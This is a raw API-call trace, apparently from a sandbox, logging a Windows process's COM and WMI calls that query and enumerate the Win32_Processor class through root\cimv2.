	[0179.460] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3bc | out: ppvObject=0x3ae3bc*=0x58459c) returned 0x0
	[0179.460] IUnknown:QueryInterface (in: This=0x472dc64, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3b8 | out: ppvObject=0x3ae3b8*=0x58457c) returned 0x0
	[0179.460] IClientSecurity:SetBlanket (This=0x58457c, pProxy=0x472dc64, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.460] IUnknown:Release (This=0x58457c) returned 0x4
	[0179.460] IUnknown:Release (This=0x58459c) returned 0x3
	[0179.460] IUnknown:Release (This=0x472dc64) returned 0x2
	[0179.460] SysStringLen (param_1=0x0) returned 0x0
	[0179.460] GetLastError () returned 0x0
	[0179.460] CoGetContextToken (in: pToken=0x3ae5d0 | out: pToken=0x3ae5d0) returned 0x0
	[0179.460] CoGetContextToken (in: pToken=0x3ae590 | out: pToken=0x3ae590) returned 0x0
	[0179.460] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.460] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae60c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae608 | out: ppvObject=0x3ae608*=0x472fcf8) returned 0x0
	[0179.460] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.460] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae790*=0x0, pszText=0x0 | out: puBuffLength=0x3ae790*=0x10, pszText=0x0) returned 0x0
	[0179.461] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.461] CoGetContextToken (in: pToken=0x3ae5d0 | out: pToken=0x3ae5d0) returned 0x0
	[0179.461] CoGetContextToken (in: pToken=0x3ae590 | out: pToken=0x3ae590) returned 0x0
	[0179.461] WbemDefPath:IUnknown:AddRef (This=0x472fcf8) returned 0x2
	[0179.461] WbemDefPath:IUnknown:QueryInterface (in: This=0x472fcf8, riid=0x3ae60c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae608 | out: ppvObject=0x3ae608*=0x472fcf8) returned 0x0
	[0179.461] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x2
	[0179.461] WbemDefPath:IWbemPath:GetText (in: This=0x472fcf8, lFlags=2, puBuffLength=0x3ae790*=0x10, pszText="000000000000000" | out: puBuffLength=0x3ae790*=0x10, pszText="win32_processor") returned 0x0
	[0179.461] WbemDefPath:IUnknown:Release (This=0x472fcf8) returned 0x1
	[0179.464] CoGetContextToken (in: pToken=0x3ae3cc | out: pToken=0x3ae3cc) returned 0x0
	[0179.464] IUnknown:AddRef (This=0x472dc64) returned 0x3
	[0179.464] IWbemServices:GetObject (in: This=0x472dc64, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x3ae540*=0x0, ppCallResult=0x0 | out: ppObject=0x3ae540*=0x4734708, ppCallResult=0x0) returned 0x0
	[0179.477] IUnknown:Release (This=0x472dc64) returned 0x2
	[0179.479] IWbemClassObject:Get (in: This=0x4734708, wszName="__PATH", lFlags=0, pVal=0x3ae6f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3ae7d8*=0, plFlavor=0x3ae7d4*=0 | out: pVal=0x3ae6f4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XABNCPUWKW\\ROOT\\cimv2:Win32_Processor", varVal2=0x0), pType=0x3ae7d8*=8, plFlavor=0x3ae7d4*=64) returned 0x0
	[0179.479] SysStringLen (param_1="\\\\XABNCPUWKW\\ROOT\\cimv2:Win32_Processor") returned 0x27
	[0179.479] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2fc
	[0179.479] GetLastError () returned 0x0
	[0179.479] SetEvent (hEvent=0x278) returned 1
	[0179.479] GetLastError () returned 0x0
	[0179.479] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ae6f0*=0x2fc, lpdwindex=0x3ae4a8 | out: lpdwindex=0x3ae4a8) returned 0x0
	[0179.481] CoGetContextToken (in: pToken=0x3ae540 | out: pToken=0x3ae540) returned 0x0
	[0179.481] CoGetContextToken (in: pToken=0x3ae500 | out: pToken=0x3ae500) returned 0x0
	[0179.481] WbemDefPath:IUnknown:AddRef (This=0x4734900) returned 0x2
	[0179.481] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x3ae57c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae578 | out: ppvObject=0x3ae578*=0x4734900) returned 0x0
	[0179.481] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x2
	[0179.481] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x1
	[0179.481] CoGetContextToken (in: pToken=0x3ae5c0 | out: pToken=0x3ae5c0) returned 0x0
	[0179.482] CoGetContextToken (in: pToken=0x3ae580 | out: pToken=0x3ae580) returned 0x0
	[0179.482] WbemDefPath:IUnknown:AddRef (This=0x4734900) returned 0x2
	[0179.482] WbemDefPath:IUnknown:QueryInterface (in: This=0x4734900, riid=0x3ae5fc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae5f8 | out: ppvObject=0x3ae5f8*=0x4734900) returned 0x0
	[0179.482] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x2
	[0179.482] WbemDefPath:IWbemPath:SetText (This=0x4734900, uMode=0x4, pszPath="\\\\XABNCPUWKW\\ROOT\\cimv2:Win32_Processor") returned 0x0
	[0179.482] WbemDefPath:IUnknown:Release (This=0x4734900) returned 0x1
	[0179.482] IWbemClassObject:Get (in: This=0x4734708, wszName="__CLASS", lFlags=0, pVal=0x3ae76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3ae820*=0, plFlavor=0x3ae81c*=0 | out: pVal=0x3ae76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x3ae820*=8, plFlavor=0x3ae81c*=64) returned 0x0
	[0179.482] SysStringLen (param_1="Win32_Processor") returned 0xf
	[0179.482] CoGetContextToken (in: pToken=0x3ae004 | out: pToken=0x3ae004) returned 0x0
	[0179.482] IUnknown:AddRef (This=0x472dc64) returned 0x3
	[0179.482] IWbemServices:CreateInstanceEnum (in: This=0x472dc64, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x3ae644 | out: ppEnum=0x3ae644*=0x4734b5c) returned 0x0
	[0179.491] IUnknown:QueryInterface (in: This=0x4734b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae2f4 | out: ppvObject=0x3ae2f4*=0x4734b60) returned 0x0
	[0179.491] IClientSecurity:QueryBlanket (in: This=0x4734b60, pProxy=0x4734b5c, pAuthnSvc=0x3ae33c, pAuthzSvc=0x3ae338, pServerPrincName=0x3ae348, pAuthnLevel=0x3ae340, pImpLevel=0x3ae32c, pAuthInfo=0x3ae330, pCapabilites=0x3ae334 | out: pAuthnSvc=0x3ae33c*=0xa, pAuthzSvc=0x3ae338*=0x0, pServerPrincName=0x3ae348, pAuthnLevel=0x3ae340*=0x6, pImpLevel=0x3ae32c*=0x2, pAuthInfo=0x3ae330, pCapabilites=0x3ae334*=0x1) returned 0x0
	[0179.491] IUnknown:Release (This=0x4734b60) returned 0x1
	[0179.491] IUnknown:QueryInterface (in: This=0x4734b5c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae2e8 | out: ppvObject=0x3ae2e8*=0x584a2c) returned 0x0
	[0179.491] IUnknown:QueryInterface (in: This=0x4734b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae2e4 | out: ppvObject=0x3ae2e4*=0x4734b60) returned 0x0
	[0179.491] IClientSecurity:SetBlanket (This=0x4734b60, pProxy=0x4734b5c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.493] IUnknown:Release (This=0x4734b60) returned 0x2
	[0179.493] IUnknown:Release (This=0x584a2c) returned 0x1
	[0179.493] CoTaskMemFree (pv=0x5604c0) 
	[0179.493] IUnknown:Release (This=0x472dc64) returned 0x2
	[0179.493] IUnknown:QueryInterface (in: This=0x4734b5c, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adc9c | out: ppvObject=0x3adc9c*=0x584a2c) returned 0x0
	[0179.493] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3adc58 | out: ppvObject=0x3adc58*=0x0) returned 0x80004002
	[0179.493] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3adb4c | out: ppvObject=0x3adb4c*=0x0) returned 0x80004002
	[0179.494] IUnknown:AddRef (This=0x584a2c) returned 0x3
	[0179.494] CoGetContextToken (in: pToken=0x3adae4 | out: pToken=0x3adae4) returned 0x0
	[0179.494] CoGetContextToken (in: pToken=0x3adaa8 | out: pToken=0x3adaa8) returned 0x0
	[0179.494] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adadc | out: ppvObject=0x3adadc*=0x527c2c) returned 0x0
	[0179.494] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3adb0c | out: pAptType=0x3adb0c*=3) returned 0x0
	[0179.494] IUnknown:Release (This=0x527c2c) returned 0x1
	[0179.494] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adacc | out: ppvObject=0x3adacc*=0x58498c) returned 0x0
	[0179.494] IMarshal:GetUnmarshalClass (in: This=0x58498c, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3adad4 | out: pCid=0x3adad4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.494] IUnknown:Release (This=0x58498c) returned 0x3
	[0179.494] CoGetContextToken (in: pToken=0x3adadc | out: pToken=0x3adadc) returned 0x0
	[0179.494] IUnknown:AddRef (This=0x584a2c) returned 0x4
	[0179.494] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adb50 | out: ppvObject=0x3adb50*=0x584a14) returned 0x0
	[0179.495] IUnknown:Release (This=0x584a2c) returned 0x4
	[0179.495] IRpcOptions:Query (in: This=0x584a14, pPrx=0x584a2c, dwProperty=2, pdwValue=0x3adb74 | out: pdwValue=0x3adb74) returned 0x80004002
	[0179.495] IUnknown:Release (This=0x584a14) returned 0x3
	[0179.495] IUnknown:Release (This=0x584a2c) returned 0x2
	[0179.495] CoGetContextToken (in: pToken=0x3adf50 | out: pToken=0x3adf50) returned 0x0
	[0179.495] CoGetContextToken (in: pToken=0x3adf10 | out: pToken=0x3adf10) returned 0x0
	[0179.495] IUnknown:AddRef (This=0x584a2c) returned 0x3
	[0179.495] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x3adf8c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3adf88 | out: ppvObject=0x3adf88*=0x4734b5c) returned 0x0
	[0179.495] IUnknown:Release (This=0x584a2c) returned 0x3
	[0179.495] IUnknown:Release (This=0x4734b5c) returned 0x2
	[0179.495] IUnknown:Release (This=0x4734b5c) returned 0x1
	[0179.495] CoGetContextToken (in: pToken=0x3ae620 | out: pToken=0x3ae620) returned 0x0
	[0179.495] CoGetContextToken (in: pToken=0x3ae5e0 | out: pToken=0x3ae5e0) returned 0x0
	[0179.495] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae65c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae658 | out: ppvObject=0x3ae658*=0x472da88) returned 0x0
	[0179.496] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.496] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x472da88, puCount=0x3ae7d4 | out: puCount=0x3ae7d4*=0x2) returned 0x0
	[0179.496] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.496] CoGetContextToken (in: pToken=0x3ae610 | out: pToken=0x3ae610) returned 0x0
	[0179.496] CoGetContextToken (in: pToken=0x3ae5d0 | out: pToken=0x3ae5d0) returned 0x0
	[0179.496] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae64c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae648 | out: ppvObject=0x3ae648*=0x472da88) returned 0x0
	[0179.496] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.496] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae7d0*=0x0, pszText=0x0 | out: puBuffLength=0x3ae7d0*=0xf, pszText=0x0) returned 0x0
	[0179.496] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.496] CoGetContextToken (in: pToken=0x3ae610 | out: pToken=0x3ae610) returned 0x0
	[0179.496] CoGetContextToken (in: pToken=0x3ae5d0 | out: pToken=0x3ae5d0) returned 0x0
	[0179.496] WbemDefPath:IUnknown:AddRef (This=0x472da88) returned 0x3
	[0179.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x472da88, riid=0x3ae64c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ae648 | out: ppvObject=0x3ae648*=0x472da88) returned 0x0
	[0179.496] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x3
	[0179.496] WbemDefPath:IWbemPath:GetText (in: This=0x472da88, lFlags=4, puBuffLength=0x3ae7d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ae7d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0179.497] WbemDefPath:IUnknown:Release (This=0x472da88) returned 0x2
	[0179.497] CoGetContextToken (in: pToken=0x3ae168 | out: pToken=0x3ae168) returned 0x0
	[0179.497] CoGetContextToken (in: pToken=0x3ae128 | out: pToken=0x3ae128) returned 0x0
	[0179.497] IUnknown:AddRef (This=0x584a2c) returned 0x2
	[0179.497] IUnknown:QueryInterface (in: This=0x584a2c, riid=0x3ae1a4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ae1a0 | out: ppvObject=0x3ae1a0*=0x4734b5c) returned 0x0
	[0179.497] IUnknown:Release (This=0x584a2c) returned 0x2
	[0179.497] IUnknown:AddRef (This=0x4734b5c) returned 0x3
	[0179.497] IEnumWbemClassObject:Clone (in: This=0x4734b5c, ppEnum=0x3ae79c | out: ppEnum=0x3ae79c*=0x4734c24) returned 0x0
	[0179.498] IUnknown:QueryInterface (in: This=0x4734c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae458 | out: ppvObject=0x3ae458*=0x4734c28) returned 0x0
	[0179.498] IClientSecurity:QueryBlanket (in: This=0x4734c28, pProxy=0x4734c24, pAuthnSvc=0x3ae4a0, pAuthzSvc=0x3ae49c, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4, pImpLevel=0x3ae490, pAuthInfo=0x3ae494, pCapabilites=0x3ae498 | out: pAuthnSvc=0x3ae4a0*=0xa, pAuthzSvc=0x3ae49c*=0x0, pServerPrincName=0x3ae4ac, pAuthnLevel=0x3ae4a4*=0x6, pImpLevel=0x3ae490*=0x2, pAuthInfo=0x3ae494, pCapabilites=0x3ae498*=0x1) returned 0x0
	[0179.498] IUnknown:Release (This=0x4734c28) returned 0x1
	[0179.498] IUnknown:QueryInterface (in: This=0x4734c24, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae44c | out: ppvObject=0x3ae44c*=0x585234) returned 0x0
	[0179.498] IUnknown:QueryInterface (in: This=0x4734c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae448 | out: ppvObject=0x3ae448*=0x4734c28) returned 0x0
	[0179.498] IClientSecurity:SetBlanket (This=0x4734c28, pProxy=0x4734c24, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0179.500] IUnknown:Release (This=0x4734c28) returned 0x2
	[0179.500] IUnknown:Release (This=0x585234) returned 0x1
	[0179.500] CoTaskMemFree (pv=0x560580) 
	[0179.500] IUnknown:Release (This=0x4734b5c) returned 0x2
	[0179.500] IUnknown:QueryInterface (in: This=0x4734c24, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3addf4 | out: ppvObject=0x3addf4*=0x585234) returned 0x0
	[0179.500] IUnknown:QueryInterface (in: This=0x585234, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3addb0 | out: ppvObject=0x3addb0*=0x0) returned 0x80004002
	[0179.500] IUnknown:QueryInterface (in: This=0x585234, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3adca4 | out: ppvObject=0x3adca4*=0x0) returned 0x80004002
	[0179.501] IUnknown:AddRef (This=0x585234) returned 0x3
	[0179.501] CoGetContextToken (in: pToken=0x3adc3c | out: pToken=0x3adc3c) returned 0x0
	[0179.501] CoGetContextToken (in: pToken=0x3adc00 | out: pToken=0x3adc00) returned 0x0
	[0179.501] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adc34 | out: ppvObject=0x3adc34*=0x527c2c) returned 0x0
	[0179.501] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3adc64 | out: pAptType=0x3adc64*=3) returned 0x0
	[0179.501] IUnknown:Release (This=0x527c2c) returned 0x1
	[0179.501] IUnknown:QueryInterface (in: This=0x585234, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adc24 | out: ppvObject=0x3adc24*=0x585194) returned 0x0
	[0179.501] IMarshal:GetUnmarshalClass (in: This=0x585194, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3adc2c | out: pCid=0x3adc2c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0179.501] IUnknown:Release (This=0x585194) returned 0x3
	[0179.501] CoGetContextToken (in: pToken=0x3adc34 | out: pToken=0x3adc34) returned 0x0
	[0179.501] IUnknown:AddRef (This=0x585234) returned 0x4
	[0179.501] IUnknown:QueryInterface (in: This=0x585234, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adca8 | out: ppvObject=0x3adca8*=0x58521c) returned 0x0
	[0179.501] IUnknown:Release (This=0x585234) returned 0x4
	[0179.501] IRpcOptions:Query (in: This=0x58521c, pPrx=0x585234, dwProperty=2, pdwValue=0x3adccc | out: pdwValue=0x3adccc) returned 0x80004002
	[0179.501] IUnknown:Release (This=0x58521c) returned 0x3
	[0179.501] IUnknown:Release (This=0x585234) returned 0x2
	[0179.501] CoGetContextToken (in: pToken=0x3ae0a8 | out: pToken=0x3ae0a8) returned 0x0
	[0179.501] CoGetContextToken (in: pToken=0x3ae068 | out: pToken=0x3ae068) returned 0x0
	[0179.501] IUnknown:AddRef (This=0x585234) returned 0x3
	[0179.502] IUnknown:QueryInterface (in: This=0x585234, riid=0x3ae0e4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ae0e0 | out: ppvObject=0x3ae0e0*=0x4734c24) returned 0x0
	[0179.502] IUnknown:Release (This=0x585234) returned 0x3
	[0179.502] IUnknown:Release (This=0x4734c24) returned 0x2
	[0179.502] IUnknown:Release (This=0x4734c24) returned 0x1
	[0179.504] CoGetContextToken (in: pToken=0x3ae69c | out: pToken=0x3ae69c) returned 0x0
	[0179.504] CoGetContextToken (in: pToken=0x3ae65c | out: pToken=0x3ae65c) returned 0x0
	[0179.504] IUnknown:AddRef (This=0x585234) returned 0x2
	[0179.504] IUnknown:QueryInterface (in: This=0x585234, riid=0x3ae6d8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ae6d4 | out: ppvObject=0x3ae6d4*=0x4734c24) returned 0x0
	[0179.504] IUnknown:Release (This=0x585234) returned 0x2
	[0179.505] IUnknown:AddRef (This=0x4734c24) returned 0x3
	[0179.505] IEnumWbemClassObject:Reset (This=0x4734c24) returned 0x0
	[0179.507] IUnknown:Release (This=0x4734c24) returned 0x2
	[0179.509] CoGetContextToken (in: pToken=0x3ae58c | out: pToken=0x3ae58c) returned 0x0
	[0179.509] IUnknown:AddRef (This=0x4734c24) returned 0x3
	[0179.509] IEnumWbemClassObject:Next (in: This=0x4734c24, lTimeout=-1, uCount=0x1, apObjects=0x52e3f8, puReturned=0x23c8e74 | out: apObjects=0x52e3f8*=0x4734c70, puReturned=0x23c8e74*=0x1) returned 0x0
	[0180.977] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adb98 | out: ppvObject=0x3adb98*=0x4734c70) returned 0x0
	[0180.977] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3adb54 | out: ppvObject=0x3adb54*=0x0) returned 0x80004002
	[0180.978] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ada48 | out: ppvObject=0x3ada48*=0x0) returned 0x80004002
	[0180.979] IUnknown:AddRef (This=0x4734c70) returned 0x3
	[0180.979] CoGetContextToken (in: pToken=0x3ad9e0 | out: pToken=0x3ad9e0) returned 0x0
	[0180.979] CoGetContextToken (in: pToken=0x3ad9a4 | out: pToken=0x3ad9a4) returned 0x0
	[0180.979] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ad9d8 | out: ppvObject=0x3ad9d8*=0x527c2c) returned 0x0
	[0180.979] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3ada08 | out: pAptType=0x3ada08*=3) returned 0x0
	[0180.979] IUnknown:Release (This=0x527c2c) returned 0x1
	[0180.979] IUnknown:QueryInterface (in: This=0x4734c70, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ad9c8 | out: ppvObject=0x3ad9c8*=0x4734c74) returned 0x0
